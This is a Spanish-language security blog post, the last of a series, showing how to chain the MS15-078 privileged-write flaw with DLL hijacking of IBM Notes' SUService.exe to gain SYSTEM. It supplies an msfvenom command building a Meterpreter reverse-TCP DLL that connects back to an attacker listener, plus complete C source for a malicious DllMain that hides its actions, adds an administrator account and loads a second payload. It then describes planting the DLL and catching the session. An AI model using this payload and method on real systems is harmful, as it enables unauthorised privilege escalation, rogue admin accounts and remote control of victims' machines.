Aprovechando la vulnerabilidad MS15-078 + DLL Hijacking (III)

En la primera parte y segunda parte de esta serie de artículos vimos cómo aprovechar la vulnerabilidad MS15-078 para escribir en una ruta privilegiada y luego cómo identificar posibles aplicaciones y servicios vulnerables a DLL hijacking.

En este último post aprovecharemos estas dos vulnerabilidades juntas para obtener privilegios de SYSTEM a partir de un usuario sin privilegios de administrador.

Lo primero que haremos será crear una DLL maliciosa. Aquí tenemos dos opciones:

  • Utilizar Msfvemon ( /msfvenom -p windows/meterpreter/reverse_tcp -f dll LHOST=X.X.X.X LPORT=4444 > /tmp/uXtheme.dll ).
  • Compilar nuestra propia DLL, para que añada un usuario administrador al equipo (o lo que queramos :D ) y cargue otra DLL maliciosa con un Meterpreter.
#include  
BOOL WINAPI DllMain(HANDLE hinstance, DWORD dwReason, LPVOID lpReserved)
{
    switch(dwReason)
    {
    case DLL_PROCESS_ATTACH:
        Sleep(1000);
        WinExec("C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\powershell.exe net users Brian ThisIsNotMyPassWD /add", SW_HIDE);
        WinExec("C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\powershell.exe net localgroup administrators Brian /add", SW_HIDE);
        HINSTANCE hInstLibrary = LoadLibrary("C:\\Users\\John\\Desktop\\WinLoad.dll");
        Sleep(30000);
    }
}

Si queréis algo más complejo el código que usa Metasploit para crear la DLL se puede obtener de aquí. Lo que hace es crear un proceso suspendido, escribe el shellcode y…

Con nuestra DLL ya creada procederemos a aprovechar la vulnerabilidad ms15-078 para escribir en una ruta privilegiada, como vimos en la primera entrada. En nuestro caso escribiremos en la carpeta de IBM (‘C:\Program Files (x86)\IBM\Notes\‘), donde identificamos que el servicio SUService.exe intenta cargar la DLL UXTheme y no la encuentra, tal y como vimos en el post anterior.

Ilustración 1: Copy DLL

Ilustración 1: Copy DLL

Con nuestra DLL in place, todo el trabajo está ya hecho y lo único que tendremos que hacer es reiniciar el equipo o el servicio (en nuestro caso no tenemos privilegios). Una vez reiniciamos el equipo cuando Windows empieza a cargar todo de nuevo, podemos ver en nuestro listener cómo se nos abre una nueva sesión.

Ilustración 2: Sesión Metasploit

Ilustración 2: Sesión Metasploit

Interactuamos con la sesión y hacemos un net users y vemos cómo nuestro usuario administrador ‘Brian’ se ha creado correctamente.

Ilustración 3: Net users

Con lo que finalmente hemos conseguido nuestro objetivo de obtener privilegios de administrador local en el equipo de John. Espero os hayan gustado las entradas y como siempre, todo lo descrito se muestra con propósitos educativos y para señalar lo importante que es mantener los sistemas parcheados :)